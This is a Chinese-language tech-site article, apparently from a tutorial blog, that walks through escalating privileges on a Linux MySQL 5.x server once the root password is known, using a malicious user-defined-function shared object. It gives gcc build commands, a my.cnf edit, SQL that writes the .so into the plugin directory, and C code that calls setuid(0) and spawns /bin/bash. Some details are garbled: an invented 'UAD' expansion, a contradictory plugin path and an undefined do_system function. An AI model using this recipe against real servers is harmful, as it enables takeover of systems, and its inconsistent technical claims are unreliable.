linux下mysql 5.x得到root密码后的另外一种利用方式

yizhihongxing

Linux下MySQL 5.x得到root密码后的另外一种利用方式是通过 MySQL 运行时加载自己编写的共享对象(Libraries)并执行其中的函数,以获取root权限。这种攻击方式也称为"UAD"(User-Defined Functions in Aggregate Deterministic Mode)攻击。以下是具体攻击步骤:

前提条件
- Linux环境中已经得到MySQL root账号的密码
- 已经将自己编写的共享对象(.so文件)上传到目标机器

步骤一:创建共享对象
在攻击者的Linux环境中使用以下命令生成共享对象:

gcc -g -c -fPIC -o exploittest.o exploittest.c
ld -shared -o exploittest.so exploittest.o

其中,exploittest.c 是编写好的共享库源码文件,exploittest.o 是编译好的目标文件,exploittest.so 是编译好的共享库文件。

步骤二:修改MySQL配置文件
在目标机器中找到MySQL的配置文件 my.cnf,通常存放在 /etc/mysql/my.cnf 或 /usr/local/mysql/etc/my.cnf 中。添加以下语句:

[mysqld]
plugin_dir=/tmp/

其中,/tmp/ 是共享库文件存放的路径。添加完之后,重启 MySQL 服务使其生效。

步骤三:上传共享对象
将步骤一中编译生成的共享库文件 exploittest.so 上传至目标机器存放共享库的路径(在本例中是 /tmp/ )下。

步骤四:连接MySQL
在目标机器中使用 root 权限连接 MySQL,输入以下 SQL 命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

其中,/usr/lib/mysql/plugin/ 是用于存放 MySQL 插件的目录。以上命令将共享库文件迁移到 MySQL 的插件目录下。

步骤五:执行恶意函数
使用以下 SQL 命令来执行攻击者编写的共享库文件中的函数,从而实现对 MySQL 数据库的控制:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system('whoami > /tmp/whoami.txt');

以上命令将当前 MySQL 进程的用户名输出到文件 /tmp/whoami.txt 中。

示例说明:
假设 MySQL 服务器所在的IP地址为10.0.0.1,攻击者成功获得root密码,并编写了如下C语言代码,用于获取当前用户权限:

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    system("/bin/bash");
}

攻击者在自己的Linux环境中生成共享对象 exploittest.so 并上传至10.0.0.1服务器的 /tmp/ 目录下。然后攻击者连接MySQL,执行以下命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

最后,攻击者使用以下命令执行攻击代码:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system();

此时,攻击者获得了目标服务器的root权限。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:linux下mysql 5.x得到root密码后的另外一种利用方式 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • MongoDB支持的java数据类型和测试例子

    MongoDB 支持的 Java 数据类型与 Java 原生支持的数据类型相似,同时,MongoDB 内有部分自己的数据类型,下面详细介绍 MongoDB 支持的 Java 数据类型以及相关示例。 MongoDB 支持的 Java 原生数据类型 MongoDB 支持 Java 的原生数据类型,包括:整型、长整型、双精度浮点型、字符型、布尔型和日期型。这些类型…

    database 2023年5月21日
    00
  • .net控件dropdownlist动态绑定数据具体过程分解

    下面是详细讲解“.net控件dropdownlist动态绑定数据具体过程分解”的完整攻略。 1. 准备工作 在开始动态绑定数据前,需要先定义一个DropDownList控件,给它起一个ID名。代码如下: <asp:DropDownList ID="ddlCities" runat="server"><…

    database 2023年5月21日
    00
  • 集中式数据库和分布式数据库的区别

    下面针对集中式数据库和分布式数据库做详细的讲解和比较。 集中式数据库 定义 集中式数据库是指所有用户的数据存储在同一台服务器的一个数据库中,用户在使用时通过网络访问该服务器上的数据。 优点 数据管理简单,维护方便。 具有操作简单、快速、高效等特点,但是要求非常高的硬件支持。 可以保证数据一致性,缺省条件下很少出现同步问题。 可以保证数据安全性和一致性。 缺点…

    database 2023年3月27日
    00
  • 不可忽视的 .NET 应用5大性能问题

    作为 .NET 应用的作者,确保应用程序的性能是至关重要的。以下是五个不可忽视的 .NET 应用程序性能问题及其可能的解决方案: 1. GC 长时间停顿 当进行垃圾收集时,.NET 应用程序需要停止应用程序的工作,以允许 GC 执行清理操作。如果 GC 耗费太长时间,应用程序将会出现长时间停顿现象,影响应用程序的性能和用户体验。 解决方案: 将适当的内存管理…

    database 2023年5月21日
    00
  • MySQL表中添加数据的方法

    MySQL表中添加数据的方法可以通过INSERT语句实现。下面是通过INSERT语句向MySQL表中添加数据的完整攻略: 1. 创建表 首先需要创建一个MySQL表,可以使用以下SQL语句: CREATE TABLE user ( id int(11) NOT NULL AUTO_INCREMENT, name varchar(50) NOT NULL, a…

    database 2023年5月21日
    00
  • 中央认证服务(CAS)

    中央认证服务(CAS)是一种用于单点登录(SSO)的开源框架。它提供了统一的认证、授权和票据管理功能,可以与多种应用程序集成。 在实现CAS单点登录之前,需要先在服务器上安装并配置CAS服务。 安装和部署CAS服务 CAS服务的安装和部署需要以下步骤: 下载CAS服务软件包,可以从官方网站下载。 解压缩软件包并将其部署到服务器上。可以使用任何Web服务器进行…

    database 2023年3月27日
    00
  • 分页技术原理与实现之Java+Oracle代码实现分页(二)

    分页技术的主要原理是对数据库中的数据进行切割,将数据分成多个页面进行展示。而Java和Oracle的结合能够很好地实现分页技术,本文主要讲解Java+Oracle代码实现分页的方法。 代码实现分页方法 在Java+Oracle代码实现分页中,我们需要进行以下几个步骤: 1. 定义分页函数 我们需要定义一个函数,这个函数的主要作用是获取需要展示的数据,同时对数…

    database 2023年5月21日
    00
  • redis增删改查

    一、启动   1、服务端启动     redis-server   2、客户端启动     (1)redis-cli  不支持中文     (2)redis-cli –raw  支持中文   3、运行测试命令     ping     返回PONG则代表连通 二、切换数据库   1、切换数据库     select n     redis一共有15个数据库…

    Redis 2023年4月12日
    00
合作推广
合作推广
分享本页
返回顶部